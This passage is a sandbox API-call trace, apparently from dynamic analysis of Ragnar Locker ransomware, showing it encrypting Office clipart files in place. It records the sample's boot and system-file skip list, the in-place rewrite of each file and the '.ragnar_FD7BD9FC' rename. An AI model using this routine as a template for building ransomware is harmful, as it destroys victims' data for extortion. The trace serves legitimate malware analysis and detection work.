dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0089.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.374] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_10.MID" | out: lpString1="PARNT_10.MID") returned="PARNT_10.MID" [0089.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned=".MID" [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="autorun.inf") returned 1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="boot.ini") returned 1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="bootfont.bin") returned 1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="bootsect.bak") returned 1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="bootmgr") returned 1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="bootmgr.efi") returned 1 [0089.374] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="bootmgfw.efi") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="desktop.ini") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="iconcache.db") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="ntldr") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="ntuser.dat") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="ntuser.dat.log") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="ntuser.ini") returned 1 [0089.375] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="thumbs.db") returned -1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.375] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0089.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.375] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5393) returned 1 [0089.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1508, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.376] GetProcessHeap () returned 0x580000 [0089.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.376] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.377] VirtualAlloc (lpAddress=0x0, dwSize=0x1511, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.377] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1511, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1511, lpOverlapped=0x0) returned 1 [0089.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1511, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.378] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1511, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1511, lpOverlapped=0x0) returned 1 [0089.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1511, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.379] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1511, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.379] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.379] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.379] GetProcessHeap () returned 0x580000 [0089.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.379] CloseHandle (hObject=0xf4) returned 1 [0089.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" [0089.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.ragnar_FD7BD9FC" [0089.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0089.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.380] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00013_.WMF" | out: lpString1="PE00013_.WMF") returned="PE00013_.WMF" [0089.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF") returned=".WMF" [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="autorun.inf") returned 1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="boot.ini") returned 1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="bootfont.bin") returned 1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="bootsect.bak") returned 1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="bootmgr") returned 1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="bootmgr.efi") returned 1 [0089.380] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="desktop.ini") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="iconcache.db") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="ntldr") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="ntuser.dat") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="ntuser.ini") returned 1 [0089.381] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="thumbs.db") returned -1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.381] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf")) returned 0x20 [0089.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.382] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24896) returned 1 [0089.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6137, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.382] GetProcessHeap () returned 0x580000 [0089.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.382] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.383] VirtualAlloc (lpAddress=0x0, dwSize=0x6140, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.383] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6140, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6140, lpOverlapped=0x0) returned 1 [0089.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6140, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.385] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6140, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6140, lpOverlapped=0x0) returned 1 [0089.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6140, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.385] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.385] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.386] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.386] GetProcessHeap () returned 0x580000 [0089.386] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.386] CloseHandle (hObject=0xf4) returned 1 [0089.386] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" [0089.386] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.ragnar_FD7BD9FC" [0089.386] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0089.387] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.387] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00014_.WMF" | out: lpString1="PE00014_.WMF") returned="PE00014_.WMF" [0089.387] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF") returned=".WMF" [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="autorun.inf") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="boot.ini") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="bootfont.bin") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="bootsect.bak") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="bootmgr") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="bootmgr.efi") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="desktop.ini") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="iconcache.db") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="ntldr") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="ntuser.dat") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="ntuser.ini") returned 1 [0089.387] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="thumbs.db") returned -1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.387] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf")) returned 0x20 [0089.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.388] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16666) returned 1 [0089.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.388] GetProcessHeap () returned 0x580000 [0089.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.388] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.389] VirtualAlloc (lpAddress=0x0, dwSize=0x411a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.390] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x411a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x411a, lpOverlapped=0x0) returned 1 [0089.391] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.391] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x411a, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.391] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x411a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x411a, lpOverlapped=0x0) returned 1 [0089.391] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x411a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.392] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.392] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x411a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.392] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.392] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.392] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.392] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.392] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.392] GetProcessHeap () returned 0x580000 [0089.392] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.392] CloseHandle (hObject=0xf4) returned 1 [0089.392] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" [0089.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.ragnar_FD7BD9FC" [0089.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.393] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0089.393] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.393] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00034_.WMF" | out: lpString1="PE00034_.WMF") returned="PE00034_.WMF" [0089.393] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF") returned=".WMF" [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="autorun.inf") returned 1 